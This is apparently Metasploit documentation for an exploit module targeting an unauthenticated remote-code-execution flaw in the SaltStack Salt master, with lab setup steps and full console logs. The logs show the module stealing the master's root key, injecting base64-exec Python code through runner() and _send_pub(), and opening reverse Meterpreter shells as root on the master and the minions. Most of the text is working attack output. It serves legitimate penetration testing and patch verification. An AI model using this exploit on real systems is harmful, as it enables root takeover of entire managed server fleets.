## Vulnerable Application

### Description

This module exploits unauthenticated access to the `runner()` and
`_send_pub()` methods in the SaltStack Salt master's ZeroMQ request
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
execute code as root on either the master or on select minions.

VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
1.3, 1.5, and 1.6 in certain configurations, are known to be affected
by the Salt vulnerabilities.

Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
well as Vulhub's Docker image.

### Setup

**Note:** I did the bulk of my testing after manually installing Salt in
an [Ubuntu 18.04 VM](#using-a-virtual-machine), but the [Docker image
from Vulhub](#using-docker) may be quicker. YMMV.

#### Using a virtual machine

1. Set up an Ubuntu 18.04 VM
2. Browse to [SaltStack's instructions for
   Ubuntu](https://repo.saltstack.com/#ubuntu)
3. Select `Pin to Minor Release` and change all versions to either
   **2019.2.3** or **3000.1**, depending on the version you wish to test
4. Follow the instructions, installing only the `salt-master` and
   `salt-minion` packages necessary for testing
5. Follow the [post-installation
   configuration](https://docs.saltstack.com/en/latest/ref/configuration/index.html)

You may now begin testing.

#### Using Docker

**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
[Docker Compose](https://docs.docker.com/compose/install/) must be
installed first.

**Note:** The Salt master is already configured and running in the
following scenario. The majority of the steps below are for configuring
and starting the minion. Version **2019.2.3** will be used.

1. Run `git clone https://github.com/vulhub/vulhub`
2. Run `cd vulhub/saltstack/CVE-2020-11651`
3. Run `docker-compose up -d` to start the container in the background
4. Run `docker exec -it cve-2020-11651_saltstack_1 bash` to drop to a
   root shell inside the container
5. Run `echo $'127.0.0.1\tsalt' >> /etc/hosts` to add the master to
   `/etc/hosts` (this allows the minion to find the master)
6. Run `salt-minion -d` to execute the minion in the background
7. Run `salt-key -A` and accept the key for the minion

You may now begin testing.

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Targets

### Master (Python payload)

This executes a Python payload on the master(s) specified by `RHOST(S)`.

### Master (Unix command)

This executes a Unix command payload on the master(s) specified by
`RHOST(S)`.

### Minions (Python payload)

This executes a Python payload on the minions specified by the `MINIONS`
option.

### Minions (Unix command)

This executes a Unix command payload on the minions specified by the
`MINIONS` option.

## Options

### ROOT_KEY

If you already have the master's root key, you may set it in this
option. Note that the master regenerates the root key on each startup.

### MINIONS

This is the PCRE regex of minions to execute the payload on. Defaults to
`.*` for all minions.

### WfsDelay

Set this to the number of seconds to wait for **all** sessions to come
in. Defaults to **10 seconds**, though the exploit may wait up to 20
seconds.

## Scenarios

### SaltStack Salt 2019.2.3 on Ubuntu 18.04

#### Executing Python payload on the master

```
msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Master (Python payload)
   1   Master (Unix command)
   2   Minions (Python payload)
   3   Minions (Unix command)


msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options

Module options (exploit/linux/misc/saltstack_salt_unauth_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MINIONS   .*               yes       PCRE regex of minions to target
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   ROOT_KEY                   no        Master's root key if you have it
   RPORT     4506             yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Master (Python payload)


msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5
rhosts => 172.28.128.5
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run

[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
[+] 172.28.128.5:4506 - Received serialized auth info
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' ')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' ')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="}
[+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ...
[*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : ubuntu-bionic
OS              : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >
```

#### Executing Python payload on the minions

```
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload)
target => Minions (Python payload)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run

[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' ')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')(' ')[0]))"]}
[+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ...
[*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500
[+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : ubuntu-bionic
OS              : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >
```
